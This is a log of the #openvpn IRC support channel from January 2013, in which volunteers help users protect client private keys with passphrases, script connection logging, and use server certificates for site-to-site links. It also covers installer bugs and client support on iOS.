18:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds]
18:30 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
18:31 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
18:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:37 -!- mode/#openvpn [+o krzee] by ChanServ
18:43 -!- ThersiT [~AndChat50@unaffiliated/thersit] has joined #openvpn
18:46 < ThersiT> Is there any way, using the openvpn-auth-pam.so plugin, to ask one client for a user/pass but not others?
18:50 -!- ThersiT is now known as ThersiT1
18:51 -!- ThersiT [~ThersiT@unaffiliated/thersit] has joined #openvpn
18:52 -!- ThersiT1 [~AndChat50@unaffiliated/thersit] has left #openvpn ["Leaving"]
19:00 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
19:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Quit: Computer has gone to sleep.]
19:04 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
19:05 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has quit []
19:05 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Client Quit]
19:07 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
19:07 <@krzee> ThersiT, not sure, you could try putting it in a ccd
19:08 < ThersiT> ccd?
19:09 <@krzee> !ccd
19:09 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
19:09 < ThersiT> Oh, that sounds pretty good. I'll give it a shot.
19:11 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 245 seconds]
19:11 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
19:12 <@krzee> not everything works in ccd entries, but maybe it will
19:12 <@krzee> if --plugin does not work there, see if a script will
19:12 <@krzee> !script
19:12 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
19:14 < ThersiT> What I'm trying to do is, I've got a laptop that the company I work for owns. I would like to set it up to connect to my personal VPN but sometimes I have to loan the laptop to a co-worker and I don't want them to have free access to my VPN.
19:14 < ThersiT> Do you think this plugin is the way to go or is there a simpler way?
19:20 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
19:24 <@krzee> i dont use password auth
19:24 <+pekster> Why are you using PAM at all then? X509 with a password-protected private key would be plenty sufficient
19:24 <@krzee> !authpass
19:24 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
19:24 <@krzee> thats another way ^
19:24 <+pekster> Or keep the password and just log out before handing the laptop to someone else?
19:25 <@krzee> although yes, pekster's idea is perfect
19:25 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 244 seconds]
19:25 <@krzee> in fact even if you use pam, for your use you should encrypt the private key as well
19:25 <+pekster> No need to have a private key client-side if using PAM server-side without two-factor auth
19:25 <+pekster> The only key would be on the server (and I suppose the CA key)
19:26 <@krzee> sure, but you could just use pki, forget about pam altogether and encrypt the private key
19:26 <@krzee> thats what ild do
19:26 -!- corretico [~luis@190.211.93.38] has joined #openvpn
19:27 <@krzee> !certpw
19:27 <@krzee> !factoids search cert
19:27 <@vpnHelper> 'servercert', 'certs', 'nocert', 'certverify', 'certinfo', 'cert_chains', and 'certfight'
19:27 <@krzee> hmm
19:27 <@krzee> someone was changing vpnHelper on me =/
19:27 < ThersiT> Yeah, that sounds like a way better way to do it. Glad I asked. Thanks.
19:27 <@krzee> !factoids search pw
19:27 <@vpnHelper> "pwfile" is (#1) OpenVPN will only read passwords from a file if it has been built with the --enable-password-save configure option, or on Windows by defining ENABLE_PASSWORD_SAVE in config-win32.h or (#2) see --auth-user-pass in the manual (!man) for more info or (#3) if you're using this with the windows service, you will need --askpass
19:27 <@krzee> !factoids search pass
19:27 <@vpnHelper> 'winpass', '2.1-winpass-script', 'authpass', 'password-only', 'strip-passphrase', 'change-passphrase', 'enable-passwd-save', and 'password'
19:27 <@krzee> !change-passphrase
19:27 <@vpnHelper> "change-passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
19:27 <@krzee> there ya go ^
19:28 <@krzee> and i was wrong, nobody changed anything… im just not thinking well after a full day digging and moving hay at the ranch
19:28 <+pekster> I think the solution is a glass or 3 of beer
19:29 <@krzee> i was gunna go with my pipe
19:29 <@krzee> !learn certpw as [change-passphrase]
19:29 <@vpnHelper> Joo got it.
19:29 <@krzee> !certpw
19:29 <@vpnHelper> "certpw" is "change-passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
19:29 <@krzee> there we goes
19:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:35 < ThersiT> Cool, I'm gonna have to do some reading to wrap my head around all of that but it looks like just what I need.
19:41 <@krzee> o if yu use windows you dont need to mess with commandline
19:42 <@krzee> you could right click the openvpn tray icon and say "change password"
19:42 <@krzee> the password it refers to is for the private key
19:42 <@krzee> then anyone with access to the computer cant use the private key without that password
19:44 < ThersiT> haha. My machines are all linux but the work laptop is windows. I think I'd like to try it at the commandline first.
19:44 <@krzee> werd
19:44 <+pekster> The GUI password change feature is just a proxy to 'openssl rsa' anyway
19:44 < ThersiT> That sounds too much like cheating to me.
19:45 <+pekster> It even has cute registry keys to "prevent" you from changing to a too-short or empty password :P
19:45 <@krzee> no empty?  then how do you remove the pass via gui?
19:46 <+pekster> Set the registry to allow it?
19:46 <@krzee> then again maybe you dont want people who cant use openssl from cli to be removing passwords
19:46 <+pekster> Yea, that ^^
19:47 <@krzee> sometimes i forget to stop thining like a unix guy
19:47 <@krzee> thinking*
19:47 <+pekster> I forget even when I'm on Windows (any box I'm on usually gets Cygwin/putty/gVim/notepad++ installed in about 2 minutes of my arrival)
19:47 -!- ThersiT1 [~AndChat50@99-88-241-15.lightspeed.austtx.sbcglobal.net] has joined #openvpn
19:48 <@krzee> oh i got that box joined to the domain over the vpn :D
19:48 -!- raidz is now known as raidz_away
19:48 <@krzee> \o/
19:48 <@krzee> (speaking of windows)
19:49 <@krzee> you were right (as you know), split-dns was perfect
19:49 <+pekster> Try this on for size; I once had to reset a domain users' pass 2 jobs ago who "forgot" and couldn't log in locally using the cached domain credientials (no domain access, remember.) I got her logged in using a local account, set up OpenVPN as a system service to start on boot, rebooted, and she was able to use the newly reset password
19:50 <+pekster> That was not a very fun 30 minutes...
19:50  * pekster files that under "ways you're not generally supposed to do things"
19:50 <@krzee> hahah
19:52 <@krzee> luckily a co-worker knew the local account credentials
19:53 <@krzee> i had visions of trying to help (in spanish ) a guy hack windows local account
19:54 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 252 seconds]
19:59 -!- ThersiT1 [~AndChat50@99-88-241-15.lightspeed.austtx.sbcglobal.net] has quit [Quit: Bye]
20:45 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
20:47 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
21:05 -!- u0m3_ [~Radu@92.80.113.12] has joined #openvpn
21:07 -!- u0m3 [~Radu@92.80.72.203] has quit [Ping timeout: 245 seconds]
21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
21:28 -!- ThersiT [~ThersiT@unaffiliated/thersit] has quit [Quit: Ex-Chat]
21:52 < soapee01> krzee!
21:53 < soapee01> dang bouncer.
22:04 < soapee01> :/ this supybot needs the later plugin.
22:55 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
22:55 -!- BtbN [~btbn@btbn.de] has joined #openvpn
23:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:19 -!- mode/#openvpn [+o krzee] by ChanServ
23:26 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
23:33 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
23:43 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
--- Day changed Fri Jan 25 2013
00:12 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 255 seconds]
00:15 -!- rkantos [~Name@4e.fi] has joined #openvpn
00:30 -!- brute11k [~brute11k@89.249.230.106] has quit [Ping timeout: 276 seconds]
00:35 -!- rkantos [~Name@4e.fi] has quit [Ping timeout: 245 seconds]
00:37 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 240 seconds]
00:42 -!- rkantos [robin@4e.fi] has joined #openvpn
00:51 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 255 seconds]
00:56 -!- lonmarlon [~lonmarlon@msmi.manship.com] has joined #openvpn
00:56 < lonmarlon> hello guys
00:57 < lonmarlon> i'd like to ask a question
00:57 <@krzee> !ask
00:57 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
00:57 < lonmarlon> cool
00:58 < lonmarlon> well anyways it's about how to monitor the login and disconneted time of the users in openvpn
00:58 < lonmarlon> i'm using a lenny server
00:58 <@krzee> via script
00:58 <@krzee> how you go about that is up to you, but heres a few ideas:
00:58 -!- rkantos [robin@4e.fi] has joined #openvpn
00:58 < lonmarlon> do you have sample script that i can learn?
00:59 < lonmarlon> yes i know via script
00:59 <@krzee> a) you could have a client-connect / client-disconnect script that updates some sort of database
00:59 <@krzee> b) you could have a script via crontab that checks the management interface
01:00 <@krzee> c) you could have a cron script read the status file after sending a signal to openvpn to update it
01:00 < lonmarlon> what do you mean by management interface?
01:00 <@krzee> !management
01:00 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
01:00 < lonmarlon> hehehe your really cool
01:00 <@krzee> and im sure theres other ways to do it as well
01:01 <@krzee> thats just 3 lil ideas for ya, a push in the right direction
01:01 <@krzee> !factoids
01:01 < lonmarlon> do you know where can i get a sample script so i can study them?
01:01 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
01:02 <@krzee> nope
01:02 <@krzee> i just checked the bot to see if he had one
01:04 < lonmarlon> are you a sysad krzee?
01:05 <@krzee> sure
01:05 < lonmarlon> where you from?
01:07 <@krzee> !krzee
01:07 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg
01:18 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
01:30 -!- CrashTM [~CrashTM@69.162.93.219] has joined #openvpn
01:31 < CrashTM> hello people
01:35 < lonmarlon> nice
01:41 -!- lonmarlon [~lonmarlon@msmi.manship.com] has quit []
01:42 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
01:42 -!- ade_b [~Ade@95.209.41.35.bredband.tre.se] has joined #openvpn
01:42 -!- ade_b [~Ade@95.209.41.35.bredband.tre.se] has quit [Changing host]
01:42 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 276 seconds]
01:49 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 246 seconds]
01:51 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
01:57 -!- rkantos [robin@4e.fi] has joined #openvpn
01:57 -!- CrashTM [~CrashTM@69.162.93.219] has quit [Ping timeout: 264 seconds]
01:59 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:10 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:10 -!- chovy [~ettinger@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has joined #openvpn
02:11 < chovy> is it possible to use openvpn on a server?
02:18 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
02:20 <+hazardous> yes
02:26 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 276 seconds]
02:26 -!- rkantos [robin@4e.fi] has joined #openvpn
02:26 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 244 seconds]
02:55 -!- rkantos [robin@4e.fi] has quit [Read error: Operation timed out]
02:58 -!- xe` [~xe@annex.yi.org] has joined #openvpn
03:06 -!- rkantos [robin@4e.fi] has joined #openvpn
03:10 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:35 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:51 -!- gardar [~gardar@gardar.net] has joined #openvpn
04:01 < EugeneKay> krzee is from the moon
04:02 < EugeneKay> Where they smoke the moonajuana
04:04 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn
04:04 < djc> after installing openvpn-2.3 on 64-bit win7, I get an error that amounts to "Error while creating HKLM\Software\OpenVPN-GUI key"
04:04 < djc> anyone knows what's up with that
04:09 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Operation timed out]
04:09 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Quit: Computer has gone to sleep.]
04:24 < djc> also, you guys should create a "2.3" version in the bug tracker
04:24 < djc> also also, any knows what's up with client-to-client on iOS clients?
04:28 -!- dazo_afk is now known as dazo
04:34 < kisom> djc: There's an iOS client now?
04:37 < djc> kisom: there is
04:37 < djc> apparently openvpn worked with apple to use their proprietary vpn apio
04:38 < djc> there are some caveats, and client-to-client (which wasn't in the caveats) didn't work for me, but otherwise it's quite smooth (largely similar to the Android stuff)
04:38 < kisom> Nice, gotta check it out
04:38 < kisom> client-to-client is a server directive, fyi
04:39 < djc> I'm aware
04:39 < djc> but from the iOS client, I can't reach other clients
04:39 < kisom> I don't see why it would not work on iOS if there is a client
04:39 < djc> which works with Android clients
04:39 < kisom> OK, I'll have a look later
04:39 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
04:40 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
04:41 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
04:41 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Remote host closed the connection]
04:42 <@dazo> <cron2> djc: regarding 252 -> that is a known bug in the 2.3.0-I0001 installer.  Mattock has a fix.
04:42 <@dazo> <cron2> "custom path" is broken
04:45 -!- mjixx_ [~markus@80.67.14.31] has quit [Ping timeout: 252 seconds]
04:45 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
04:45 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
04:47 < djc> oh, was that in #openvpn-devel
04:47 < djc> ?
04:47 < djc> thanks for relaying it, in any case :)
04:48 < djc> dazo: I was a bit confused by the separate openvpn-gui project, so I filed everything against openvpn, hope that's okay
04:48 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 248 seconds]
04:49 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has quit [Ping timeout: 248 seconds]
04:50 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
04:51 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has joined #openvpn
04:51 <@dazo> djc: yeah, we'll figure it out :)
04:52 < djc> dazo: btw, the 3.0 roadmap looks kind of cool, though the rewrite from scratch sounds a bit scary
04:52 -!- master_of_master [~master_of@p57B53A40.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
04:53 <@dazo> djc: it's not a complete rewrite, though ... actually we're moving the current code base slowly towards that goal ... however, James have written something from scratch already - for Andriod and iOS, but that haven't been open sourced yet (they have promised that will happen, though)
04:53 <@dazo> but that re-write is currently only the client side code
04:54 < djc> a use case I've thought about in the past would be a small liberally-licensed network protocol library that would let me connect with a static vpn config, so I could embed a small copy in an android or ios app so that I could basically run a webview app over vpn
04:54 < djc> of course, my use case is significantly reduced now that there are nice ios and android implementations :)
04:54 -!- master_of_master [~master_of@p57B540A0.dip.t-dialin.net] has joined #openvpn
04:56 < djc> also, I do hope netlink sockets support is at some not-too-low level of priority :)
04:57 < djc> dazo: anyway, is there any rough eta for a 2.3.1 that includes mattock's fix for the installer?
04:58 <@dazo> djc: that's something like that I believe the Andriod and iOS implementation looks like .... library oriented
04:59 <@dazo> djc: mattock releases new installers independently of OpenVPN now ... so he'll fix that as soon as he got a time slot ... that's the good thing about the split-up we did in 2.3
05:00 <@dazo> djc: in regards to netlink sockets support ... well, we have a lot of things on the TODO list ... but all of us are loaded with real work as well, so we tend to scratch our own itches these days
05:01 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 246 seconds]
05:01 <@dazo> djc: having that said ... many of us will go to FOSDEM this year again, and rumour goes that even James Yonan will come too
05:02 < djc> man, I regret not going to FOSDEM more every day :)
05:02 <@dazo> djc: you should regret that! ;-)
05:02 < djc> yeah, well, I'm going skiing next week :P
05:02 <@dazo> (it's never too late to turn)
05:02 <@dazo> heh
05:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
05:28 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
06:07 -!- master_of_master [~master_of@p57B540A0.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
06:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:43 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Ping timeout: 248 seconds]
06:59 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
07:05 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Ping timeout: 255 seconds]
07:06 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
07:08 -!- dazo is now known as dazo_afk
07:11 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
07:54 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has joined #openvpn
07:55 < Eagleman> I want to make a vpn connection between 2 servers, Can this be done with the 2 server certificates or does 1 server need client certificates to connect to the other server?
07:58 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Read error: Connection reset by peer]
08:03 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
08:04 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has quit []
08:06 -!- djc [~djc@gentoo/developer/djc] has left #openvpn []
08:08 -!- batrick [~batrick@nmap/developer/batrick] has quit [Ping timeout: 272 seconds]
08:22 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has joined #openvpn
08:22 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has quit [Changing host]
08:22 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
08:34 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
08:34 -!- MariusIT [~userit@86.120.191.55] has left #openvpn []
08:56 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
08:58 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:16 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has joined #openvpn
09:17 < Eagleman> I want to make a vpn connection between 2 servers, Can this be done with the 2 server certificates or does 1 server need client certificates to connect to the other server?
09:27 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 256 seconds]
09:28 -!- ch1mkey [ch1m@ns203993.ovh.net] has left #openvpn []
09:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:40 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 256 seconds]
09:40 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
09:40 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
09:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
09:40 -!- mode/#openvpn [+o krzee] by ChanServ
09:41 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has joined #openvpn
09:41 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has quit [Changing host]
09:41 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
09:42 <@krzee> !learn krzee location: moon base where he smokes moonajuana
09:42 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
09:42 <@krzee> !learn krzee as location: moon base where he smokes moonajuana
09:42 <@vpnHelper> Joo got it.
09:42 < Eagleman> I want to make a vpn connection between 2 servers, Can this be done with the 2 server certificates or does 1 server need client certificates to connect to the other server?
09:43 < rob0> krzee, I'll be thinking of you at 4:20
09:43 <@krzee> i feel honored
09:43 <@krzee> Eagleman, if they were signed by the same CA, 2 server certs will work
09:43 < rob0> Eagleman, did you try it? Did it work?
09:44 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
09:44 <@krzee> in fact each can check the other was signed as a server too
09:44 <@krzee> and that ^
09:44 < Eagleman> client-server did work, havent been able to test server-server
09:45 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 276 seconds]
09:46 -!- xe` [~xe@annex.yi.org] has left #openvpn ["Leaving"]
09:47 < Eagleman> ok it seems to work
09:48 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 246 seconds]
09:48 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
09:52 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 245 seconds]
09:57 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
09:58 -!- dazo_afk is now known as dazo
10:00 < Eagleman> Aaand i was wrong:   error=unsupported certificate purpose
10:01 < Eagleman> connecting to an openvpn server with a server certificate
10:02 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Ping timeout: 252 seconds]
10:03 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
10:04 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
10:05 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has joined #openvpn
10:05 -!- _polto_ [~polto@adslgva0879.worldcom.ch] has quit [Changing host]
10:05 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
10:09 <@krzee> !route
10:09 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
10:09 <@krzee> !whybridge
10:09 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
10:11 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has quit []
10:11 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
10:15 -!- u0m3_ [~Radu@92.80.113.12] has quit [Read error: Connection reset by peer]
10:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 240 seconds]
10:18 -!- u0m3 [~Radu@109.96.140.34] has joined #openvpn
10:20 <@krzee> !book
10:20 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
10:28 <@krzee> !confgen
10:28 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
10:33 -!- brute11k [~brute11k@89.249.231.95] has joined #openvpn
10:37 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:41 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
10:43 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 256 seconds]
10:49 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds]
10:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds]
10:50 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 252 seconds]
10:53 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
10:57 -!- tMobile4a03 is now known as tyteen4a03
11:04 -!- bisko [~bisko@77.70.26.115] has quit [Quit: Computer has gone to sleep.]
11:04 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
11:04 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
11:04 -!- raidz_away is now known as raidz
11:04 -!- raidz [~raidz@raidz.im] has quit [Changing host]
11:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
11:05 -!- mode/#openvpn [+o raidz] by ChanServ
11:05 -!- mattock_afk is now known as mattock
11:05 -!- mattock [~mattock@raidz.im] has quit [Changing host]
11:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
11:05 -!- mode/#openvpn [+o mattock] by ChanServ
11:05 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
11:06 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 255 seconds]
11:07 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit]
11:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
11:08 -!- mode/#openvpn [+o raidz] by ChanServ
11:27 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
11:31 <@krzee> !tcpip
11:31 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
11:32 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
11:33 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
11:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
11:47 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 276 seconds]
11:54 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:00 -!- chovy [~ettinger@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has left #openvpn []
12:14 -!- blackmagic [black@got.laid.using.blackmajic.org] has quit [Ping timeout: 276 seconds]
12:14 -!- black_ [black@got.laid.using.blackmajic.org] has joined #openvpn
12:28 -!- zz_AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
12:30 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
12:30 -!- zz_AsadH is now known as AsadH
12:30 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
12:30 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
12:54 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Ping timeout: 248 seconds]
13:10 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
13:15 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
13:15 -!- zz_AsadH is now known as AsadH
13:15 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
13:15 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
13:18 -!- mdw- [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Read error: Operation timed out]
13:36 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
13:42 -!- Netsplit *.net <-> *.split quits: gardar
13:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer]
14:01 -!- raidz_ [~raidz@raidz.im] has joined #openvpn
14:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds]
14:01 -!- raidz_ is now known as raidz
14:01 -!- raidz [~raidz@raidz.im] has quit [Changing host]
14:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
14:01 -!- mode/#openvpn [+o raidz] by ChanServ
